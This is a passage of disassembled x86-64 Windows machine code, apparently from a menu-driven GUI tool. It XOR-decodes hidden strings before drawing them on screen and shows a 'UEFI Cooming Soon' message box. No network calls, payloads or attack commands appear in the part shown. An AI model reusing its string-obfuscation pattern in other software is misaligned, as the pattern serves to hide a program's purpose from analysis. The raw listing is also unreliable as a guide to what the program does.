movss xmm2, dword [0x14015d528]
lea rcx, [rbp + 0x388]
movss xmm1, dword [0x14015d48c]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0xe50]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x15c3305057a4e41b
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae21e7daa5
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe88], rcx
lea rcx, [rbp + 0xea0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe90], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xe80]
mov qword [rbp + 0xe98], rax
xorps xmm0, xmmword [rbp + 0xe90]
movdqa xmmword [rbp + 0xe80], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d538]
lea rcx, [rbp + 0x390]
movss xmm1, dword [0x14015d48c]
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0xe80]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
movss xmm2, dword [0x14015d404]
mov r9, rax
mov rdx, qword [0x1404dddb0]
mov rcx, rdi
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41ce397919bde10d
mov qword [rbp + 0x10], rax
movabs rax, 0xca9e5ec93ce3da85
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xeb0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xeb8], rcx
lea rcx, [rbp + 0xed0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xec0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xeb0]
mov qword [rbp + 0xec8], rax
xorps xmm0, xmmword [rbp + 0xec0]
movdqa xmmword [rbp + 0xeb0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d544]
lea rcx, [rbp + 0x398]
movss xmm1, dword [0x14015d48c]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d404]
lea rcx, [rbp + 0xeb0]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x3a0]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d510]
addss xmm1, dword [0x14015d53c]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x3a8]
movss xmm1, dword [rbp + 0x1a0]
addss xmm2, dword [0x14015d548]
addss xmm1, dword [0x14015d560]
call fcn.140001d30
call fcn.140013250
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xee0]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d3b8]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14015d3e4]
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x3a8]
lea rdx, [rbp + 0x3a0]
mov rcx, rbx
call fcn.140024260
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x508a256304b3e51a
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae528282e8
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef8], rcx
lea rcx, [rbp + 0xf10]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf00], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf08], rax
movdqa xmm0, xmmword [rbp + 0xf00]
xorps xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0xef0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d51c]
lea rcx, [rbp + 0x3b0]
movss xmm1, dword [0x14015d544]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d408]
lea rcx, [rbp + 0xef0]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41cf28761ab5e31c
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282fb93
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf28], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf30], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf38], rax
movdqa xmm0, xmmword [rbp + 0xf30]
xorps xmm0, xmmword [rbp + 0xf20]
movdqa xmmword [rbp + 0xf20], xmm0
mov r9d, edx
lea rcx, [rbp + 0xf40]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d528]
lea rcx, [rbp + 0x3b8]
movss xmm1, dword [0x14015d544]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0xf20]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4d8335a57b8e91c
mov qword [rbp + 0x10], rax
movabs rax, 0xa3995ac33becf3e6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2020], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926dff2e2800
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2028], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2030], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2038], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2040], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2048], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2050], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xf50]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2058], rax
vmovdqu ymm0, ymmword [rbp + 0x2040]
vpxor ymm1, ymm0, ymmword [rbp + 0x2020]
vmovdqa ymmword [rbp + 0x2020], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d538]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x14015d544]
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x2020]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
movss xmm2, dword [0x14015d404]
mov r9, rax
mov rdx, qword [0x1404dddb0]
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41ce397919bde10d
mov qword [rbp + 0x10], rax
movabs rax, 0xca9e5ec93ce3da85
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf68], rcx
lea rcx, [rbp + 0xf80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf70], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf78], rax
movdqa xmm0, xmmword [rbp + 0xf70]
xorps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14015d544]
lea rcx, [rbp + 0x3c8]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d404]
lea rcx, [rbp + 0xf60]
mov rdx, qword [0x1404ddda0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
jmp 0x1400498e2
movss xmm6, dword [0x14015d44c]
movss xmm7, dword [0x14015d418]
mov r14, qword [rbp + 0x160]
cmp dword [0x1404dddb8], 4
jne 0x14004aeaf
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf90]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d56c]
lea rcx, [rbp + 0x3d0]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
movaps xmm2, xmm14
lea rcx, [rbp + 0x3d8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d30
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x3e0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, r14
call fcn.140012c70
movaps xmm2, xmm6
lea rcx, [rbp + 0x3e8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x1400499db
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x3f0]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140049a14
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x3f8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140049a4d
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x400]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140049a86
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x408]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x140049abf
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
movss xmm2, dword [0x14015d430]
lea rcx, [rbp + 0x410]
movss xmm1, dword [0x14015d48c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movaps xmm2, xmm14
lea rcx, [rbp + 0x418]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0xfa0]
xor eax, eax
movabs rbx, 0xcaed3bae5282b2c6
mov byte [rbp], al
movabs rdi, 0x61aa5c1777dc8d5d
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa30761aaee213
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfa8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfb0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1404dddb8], 4
mov qword [rbp + 0xfb8], rax
movdqa xmm0, xmmword [rbp + 0xfb0]
sete cl
xorps xmm0, xmmword [rbp + 0xfa0]
xor r9d, r9d
movdqa xmmword [rbp + 0xfa0], xmm0
call fcn.1400369a0
test al, al
je 0x140049ba7
mov dword [0x1404dddb8], 4
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movaps xmm2, xmm14
lea rcx, [rbp + 0x420]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0xfc0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c173e9ac808
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfc0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfc8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xfd0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1404dddb8], 8
mov qword [rbp + 0xfd8], rax
movdqa xmm0, xmmword [rbp + 0xfd0]
sete cl
xorps xmm0, xmmword [rbp + 0xfc0]
xor r9d, r9d
movdqa xmmword [rbp + 0xfc0], xmm0
call fcn.1400369a0
test al, al
je 0x140049c81
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movaps xmm2, xmm14
lea rcx, [rbp + 0x428]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0xfe0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c177795cb18
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfe0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xfe8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xff0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x1404dddb8], 9
mov qword [rbp + 0xff8], rax
movdqa xmm0, xmmword [rbp + 0xff0]
sete cl
xorps xmm0, xmmword [rbp + 0xfe0]
xor r9d, r9d
movdqa xmmword [rbp + 0xfe0], xmm0
call fcn.1400369a0
test al, al
je 0x140049d49
mov dword [0x1404dddb8], 9
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1000]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x430]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d4bc]
addss xmm1, dword [0x14015d548]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x438]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d45c]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14015d3d4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x440]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41902f6203bdf90e
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1010], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1018], rcx
lea rcx, [rbp + 0x1030]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1020], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x1028], rax
mov r8d, edx
movdqa xmm0, xmmword [rbp + 0x1020]
xorps xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x1010], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x448]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
xor esi, esi
lea rcx, [rbp + 0x1010]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
movss xmm2, dword [0x14015d414]
mov r9, rax
mov rdx, qword [0x1404ddd98]
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x15c9396312b8e308
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282d6a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1040], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1048], rcx
lea rcx, [rbp + 0x1060]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1050], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x1050]
xorps xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x1040], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x450]
movss xmm1, dword [0x14015d4c8]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1040]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov rsi, qword [rbp + 0x168]
mov rcx, rsi
call fcn.140012c70
movss xmm2, dword [0x14015d46c]
lea rcx, [rbp + 0x458]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1070]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x1080]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
movabs rax, 0x5da093703afec11
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3b8e68e7c6a7
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1090], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1098], rcx
lea rcx, [rbp + 0x10b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10a0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10a8], rax
movdqa xmm0, xmmword [rbp + 0x10a0]
xorps xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0x1090], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x460]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1090]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x539a6e384feda26b
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2f2
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10c8], rcx
lea rcx, [rbp + 0x10e0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10d0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10d8], rax
movdqa xmm0, xmmword [rbp + 0x10d0]
xorps xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0x10c0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x468]
movss xmm1, dword [0x14015d4e4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x10c0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov rcx, rsi
call fcn.140012c70
movss xmm2, dword [0x14015d47c]
lea rcx, [rbp + 0x470]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x10f0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x1100]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14f97c6412b1ec1a
mov qword [rbp + 0x10], rax
movabs rax, 0xf0895eda20edc2b6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2060], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926dff5d464f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2068], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2070], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2078], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2080], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2088], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2090], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2098], rax
vmovdqu ymm0, ymmword [rbp + 0x2080]
vpxor ymm1, ymm0, ymmword [rbp + 0x2060]
vmovdqa ymmword [rbp + 0x2060], ymm1
mov r8d, edx
lea rcx, [rbp + 0x1110]
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d494]
lea rcx, [rbp + 0x478]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2060]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c73d5057b0e11c
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2b5
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1120], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1128], rcx
lea rcx, [rbp + 0x1140]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1130], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1138], rax
movdqa xmm0, xmmword [rbp + 0x1130]
xorps xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0x1120], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d494]
lea rcx, [rbp + 0x480]
movss xmm1, dword [0x14015d504]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1120]
